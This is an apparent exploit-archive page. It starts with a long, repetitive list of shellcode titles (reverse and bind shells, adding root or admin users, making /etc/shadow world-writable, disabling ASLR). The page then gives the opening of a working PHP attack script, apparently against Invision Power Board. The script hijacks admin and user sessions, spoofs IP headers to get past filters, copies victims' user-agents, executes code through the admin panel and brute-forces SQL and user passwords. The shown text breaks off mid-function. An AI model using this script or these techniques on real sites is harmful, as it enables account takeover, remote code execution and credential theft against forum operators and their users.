Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 English - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes) Win32 - Checksum Routine Shellcode (18 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes) Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes) Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader Port 0x1337 Shellcode ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes) Win32 - Speaking 'You got pwned!' Shellcode FreeBSD/x86 - connect back Shellcode (81 bytes) BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes) Win32 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes) Linux/x86 - ASLR deactivation Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator) Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator) BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes) Windows x86 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes) Linux/x86 - Egghunter Shellcode (29 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes) Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes) Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes) Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes) Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes) Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes) Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes) Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes) Windows x64 - Bind TCP Shell Shellcode (508 bytes) Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes) Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Windows RT ARM - Bind Shell 4444/TCP Shellcode Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode Windows - Messagebox Shellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes) Windows - Add Administrator 'BroK3n' Shellcode (194 bytes) Windows - Messagebox Null-FreeShellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes) Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes) Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes) Linux/x86 - Disable ASLR Shellcode (84 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes) Win32/XP SP3 - Restart computer Shellcode (57 bytes) Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes) Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes) Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes) Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes) Linux/x86 - exec('/bin/dash') Shellcode (45 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes) Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes) Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes) OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes) Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator) Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator) OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes) Linux/x86-64 - /bin/sh Shellcode (34 bytes) Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes) OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes) Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python) Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes) Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes) Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Win32 .Net Framework - Execute Native x86 Shellcode Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator) Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes) Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes) Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shellcode (64 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes) Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes) Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x64 - WinExec() Shellcode (93 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes) Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes) Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Disable ASLR Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux x86 - /bin/sh Shellcode (24 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86_64 - kill All Processes Shellcode (19 bytes) Linux/x86_64 - Kill All Processes Shellcode (19 bytes) Php Cloud mining Script - Authentication Bypass (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
1745 lines
No EOL
42 KiB
PHP
Executable file
1745 lines
No EOL
42 KiB
PHP
Executable file
#!/usr/bin/php -q
|
|
<?php
|
|
error_reporting(E_ALL ^ E_NOTICE);
|
|
|
|
# yeah ... it rox (:
|
|
class ipb_spl
|
|
{
|
|
var $web;
|
|
|
|
function main()
|
|
{
|
|
$this->mhead();
|
|
|
|
# Gimme your args
|
|
$this->p_attack = $this->get_p('attack', true);
|
|
$this->p_prox = $this->get_p('proxhost');
|
|
$this->p_proxa = $this->get_p('proxauth');
|
|
|
|
$this->init_global();
|
|
|
|
# Proxy params
|
|
if( $this->p_prox )
|
|
{
|
|
$this->web->proxy($this->p_prox);
|
|
|
|
if( $this->p_proxa )
|
|
$this->web->proxyauth($this->p_proxa);
|
|
}
|
|
|
|
# Where do we go ?
|
|
switch( $this->p_attack )
|
|
{
|
|
case 1: $this->code_exec(); break;
|
|
case 2: $this->bf_sql_pwd(); break;
|
|
case 3: $this->bf_usr_pwd(); break;
|
|
default: $this->usage();
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
function code_exec($loop=1)
|
|
{
|
|
# First loop
|
|
if( $loop == 1 )
|
|
{
|
|
$this->set_sql_param();
|
|
$this->set_sql_focus();
|
|
|
|
$this->p_acp = $this->get_p('acp');
|
|
|
|
# ACP path
|
|
if( !$this->p_acp )
|
|
{
|
|
# If the user changed the ACP directory, we can
|
|
# find it (if the "Remove ACP Link" option was not
|
|
# applied) by log in as an Admin, and then click
|
|
# on "Admin CP". This can be done with a user
|
|
# but I didn't implemented that ;)
|
|
$this->msg('Using default ACP path: admin', 1);
|
|
$this->p_acp = 'admin';
|
|
}
|
|
else
|
|
$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
|
|
|
|
# Init client headers:
|
|
# Only if we have the same IP as the targeted user (not admin),
|
|
# it resets session datas, so we try to spoof our
|
|
# IP as a random one in order to keep user's session datas while
|
|
# we bruteforce SQL fields.
|
|
$this->bypass_matches();
|
|
|
|
# Remove expired sessions ( time() - 60*60*2 = > 2 hours )
|
|
$this->web->get($this->p_url.$this->p_acp.'/index.php?');
|
|
$this->msg('Removed all out of date admin sessions', 1);
|
|
|
|
# Cookie prefix
|
|
$this->get_cprefix();
|
|
}
|
|
|
|
# Admin session ?
|
|
$this->msg('Trying to find an admin session id', 0);
|
|
|
|
# Got one :]
|
|
if( $this->get_admin_sess() )
|
|
{
|
|
$this->s_admin = true;
|
|
$this->s_sess = $this->data['a_sess_id'];
|
|
$this->a_url = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
|
|
}
|
|
|
|
# Nothing special
|
|
else
|
|
{
|
|
$this->s_admin = false;
|
|
$this->msg('No admin session id found', -1);
|
|
}
|
|
|
|
# User session ?
|
|
if( !$this->s_sess )
|
|
{
|
|
$this->msg('Trying to find a user session id', 0);
|
|
|
|
# Yep
|
|
if( $this->get_user_sess() )
|
|
$this->s_sess = $this->data['u_sess_id'];
|
|
|
|
# F0ck
|
|
else
|
|
{
|
|
$this->msg('No user session id found', -1);
|
|
$this->msg('Admin session > 2 hours or user logged out', 0);
|
|
$this->msg('Keeping trying until the user connects', 0);
|
|
$this->msg('Entering loop #'.$loop.' ...', 0);
|
|
$this->code_exec(++$loop);
|
|
}
|
|
}
|
|
|
|
$this->msg('Getting security options', 0);
|
|
|
|
# Security options
|
|
$this->get_sec_options();
|
|
|
|
# IP filter ?
|
|
if( $this->conf['ip'] === '1' )
|
|
{
|
|
$this->s_bypass = true;
|
|
|
|
$this->msg('IP filter option is turned on', 0);
|
|
|
|
# Spoofing protection ?
|
|
if( !$this->conf['xforward'] )
|
|
{
|
|
# Assuming our IP isn't the same etc..
|
|
$this->msg('Can\'t bypass the IP filter', -1);
|
|
exit(1);
|
|
}
|
|
|
|
# X-Forwarded-For / Client-IP /
|
|
# Proxy-User / X-Cluster-Client-IP
|
|
else
|
|
{
|
|
$this->msg('Cool, we can spoof our IP (Client-IP)', 1);
|
|
|
|
if( $this->s_admin )
|
|
{
|
|
$this->msg('Trying to find admin\'s last IP', 0);
|
|
|
|
# Admin IP found
|
|
$this->get_admin_ip();
|
|
$this->s_ip = $this->data['a_ip_addr'];
|
|
}
|
|
else
|
|
{
|
|
$this->s_admin = false;
|
|
$this->msg('Trying to find user\'s last used IP', 0);
|
|
|
|
# User IP found
|
|
$this->get_user_ip();
|
|
$this->s_ip = $this->data['u_ip_addr'];
|
|
}
|
|
|
|
# Nothing found
|
|
if( !$this->s_ip )
|
|
{
|
|
# Ahah (:
|
|
$this->msg('No IP found for this user', -1);
|
|
$this->give_hope();
|
|
}
|
|
|
|
# Got one !
|
|
else
|
|
$this->msg('Ok, using IP '.$this->s_ip, 1);
|
|
}
|
|
}
|
|
|
|
# User-Agent filter ?
|
|
if( $this->conf['browser'] === '1' && !$this->s_admin )
|
|
{
|
|
$this->s_bypass = true;
|
|
|
|
$this->msg('Trying to find a valid user-agent', 0);
|
|
|
|
# Good
|
|
if( $this->get_user_agent() )
|
|
{
|
|
$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
|
|
$this->s_agent = $this->data['u_agent'];
|
|
}
|
|
|
|
# WTF :!
|
|
else
|
|
{
|
|
$this->msg('No user-agent found for this user', -1);
|
|
$this->msg('Maybe the browser didn\'t send this header', 0);
|
|
$this->s_agent = '';
|
|
}
|
|
|
|
}
|
|
|
|
# Cool !?
|
|
if( !$this->s_bypass )
|
|
$this->msg('Cool, nothing to bypass', 1);
|
|
|
|
$this->msg('Trying to log in', 0);
|
|
|
|
# Owned =]
|
|
if( $this->is_logged() )
|
|
{
|
|
# PHP code
|
|
if( $this->s_admin )
|
|
{
|
|
$this->msg('Logged in with an admin session', 1);
|
|
$this->exec_code();
|
|
}
|
|
|
|
# Normal user ?
|
|
else
|
|
{
|
|
$this->msg('Logged in with a user session', 1);
|
|
$this->msg('You can log in using the cookie session_id', 1);
|
|
|
|
if( $this->s_ip !== $this->def_ip )
|
|
$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
|
|
|
|
if( $this->s_agent )
|
|
$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
|
|
|
|
exit(0);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Even if the admin logged out .. the admin session
|
|
# is still valid ;)
|
|
$this->msg('Can\'t log in, the session has expired ?!', -1);
|
|
$this->give_hope();
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
function bf_sql_pwd()
|
|
{
|
|
$this->p_ip = $this->get_p('ip', true);
|
|
$this->p_dict = $this->get_p('dict', true);
|
|
|
|
$this->p_sql_u = $this->get_p('sqlusr');
|
|
|
|
$this->p_url = $this->get_p('url');
|
|
